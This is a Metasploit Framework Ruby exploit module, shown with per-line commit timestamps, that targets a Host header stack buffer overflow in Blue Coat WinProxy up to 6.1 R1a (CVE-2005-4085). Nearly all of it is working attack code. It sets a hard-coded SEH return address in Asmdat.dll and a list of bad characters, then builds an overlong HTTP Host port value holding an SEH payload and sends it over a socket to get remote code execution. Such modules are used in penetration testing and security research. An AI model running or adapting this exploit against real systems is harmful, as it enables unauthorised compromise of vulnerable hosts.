2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-01-08 06:26:30 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2006-01-08 06:26:30 +00:00
|
|
|
|
2010-07-12 23:25:31 +00:00
|
|
|
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BlueCoat/ ] }
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2006-01-08 06:26:30 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-09-12 05:58:09 +00:00
|
|
|
'Name' => 'Blue Coat WinProxy Host Header Overflow',
|
2006-01-08 06:26:30 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow in the Blue Coat Systems WinProxy
|
2006-09-12 05:58:09 +00:00
|
|
|
service by sending a long port value for the Host header in a HTTP
|
|
|
|
request.
|
2006-01-08 06:26:30 +00:00
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
2006-06-21 18:38:40 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2006-01-08 06:26:30 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2006-01-08 06:26:30 +00:00
|
|
|
['CVE', '2005-4085'],
|
2009-05-13 17:39:42 +00:00
|
|
|
['OSVDB', '22238'],
|
2006-09-12 05:58:09 +00:00
|
|
|
['BID', '16147'],
|
|
|
|
['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
|
2006-01-08 06:26:30 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 600,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2006-01-08 10:38:35 +00:00
|
|
|
'Targets' =>
|
2006-01-08 06:26:30 +00:00
|
|
|
[
|
|
|
|
[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2010-06-15 07:18:08 +00:00
|
|
|
'DisclosureDate' => 'Jan 5 2005',
|
2006-01-08 06:26:30 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
|
|
|
], self.class)
|
2006-01-08 06:26:30 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
sploit = "GET / HTTP/1.1" + "\r\n"
|
2006-01-08 06:26:30 +00:00
|
|
|
sploit += "Host: 127.0.0.1:"
|
2007-03-01 08:21:36 +00:00
|
|
|
sploit += rand_text_english(31, payload_badchars)
|
2006-01-08 06:26:30 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
sploit[23, seh.length] = seh
|
|
|
|
sploit += "\r\n\r\n"
|
|
|
|
|
|
|
|
sock.put(sploit)
|
|
|
|
sock.get_once(-1, 3)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-01-08 06:26:30 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|